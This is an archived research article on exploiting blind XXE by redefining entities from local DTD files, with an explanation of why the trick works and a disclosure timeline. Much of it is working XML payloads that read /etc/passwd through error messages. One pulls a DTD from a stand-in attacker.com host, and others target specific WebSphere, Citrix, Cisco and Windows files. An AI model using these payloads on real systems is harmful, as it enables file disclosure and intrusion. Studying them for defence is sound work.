

Exploiting XXE with local DTD files

Exploiting XXE with local DTD files - Arseniy Sharoglazov, @_mohemiv, mohemiv.com.

- Published: date not stated
- Original: <<https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/>>
- Preserved from: <https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/> (live) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Exploiting XXE with local DTD files

This little technique can force your blind XXE to output anything you want!

```
1 <?xml version="1.0" ?>
2 <!DOCTYPE message [
3   <!ENTITY % local_dtd SYSTEM "
      file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
4
5   <!ENTITY % condition 'aaa)>
6     <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
7     <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;
      file:///nonexistent/&#x25;file;&#x27;>">
8     &#x25;eval;
9     &#x25;error; External subset in internal DTD
10  <!ELEMENT aa (bb'>
11
12    %local_dtd;
13 ]>
14 <message>any text</message>
```

Why do we have trouble exploiting XXE in 2k18?

Imagine you have an XXE. External entities are supported, but the server's response is always empty. In this case you have two options: **error-based** and **out-of-band** exploitation.

Let's consider this error-based example:

|

Request

|

Response

| | |

```
<?xml version="1.0" ?>
<!DOCTYPE message [
  <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
  %ext;
]>
<message></message>
```

|

```
java.io.FileNotFoundException: /nonexistent/ root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin
```

(No such file or directory)

| |

Contents of ext.dtd

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

See? You are using an external server for delivering the DTD payload. What can you do if there is a firewall between you and the target server? Nothing!

What if we just put an external DTD content directly to the DOCTYPE? If we do this, some errors should always appear:

|

Request

|

Response

| | |

```
<?xml version="1.0" ?>
<!DOCTYPE message [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>
<message></message>
```

|

Internal Error: SAX Parser Error. Detail: The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD.

| |

External DTDs allow us to include one entity inside another one, but it’s prohibited in the internal DTD syntax.

What can we do inside an internal DTD?

To use external DTD syntax in the internal DTD subset, you can bruteforce a local DTD file on the target host and redefine some parameter-entity references inside it:

|

Request

|

Response

| | |

```
<?xml version="1.0" ?>
<!DOCTYPE message [
  <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

  <!ENTITY % condition 'aaa'>
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
    <!ELEMENT aa (bb'>

  %local_dtd;
]>
<message>any text</message>
```

|

```
java.io.FileNotFoundException: /nonexistent/ root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/usr/bin/nologin
```

(No such file or directory)

| |

Contents of sip-app_1_0.dtd

```
...
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>
...
```

This works because all XML entities are constant. If you define two entities with the same name, only the first one will be used.

How can we find a local DTD file?

Nothing is easier than enumerating files and directories. Below are a few more examples of the successful application of this trick:

Custom Linux System

```
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
```

Custom Windows System

```
<!ENTITY % local_dtd SYSTEM "file:///C:/Windows/System32/wbem/xml/cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
```

I would like to say thank you to [Mikhail Klyuchnikov from Positive Technologies](#) for sharing this path of always-existing Windows DTD file.

Cisco WebEx

```
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
```

Citrix XenMobile Server

```
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
```

Any Web Application on IBM WebSphere Application Server

```
<!ENTITY % local_dtd SYSTEM "../..../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;
```

Timeline

01/01/2016 — Discovering the technique
12/12/2018 — Writing the article :D
13/12/2018 — Full disclosure

Archived from <https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/>. Rendered offline from the local Markdown copy.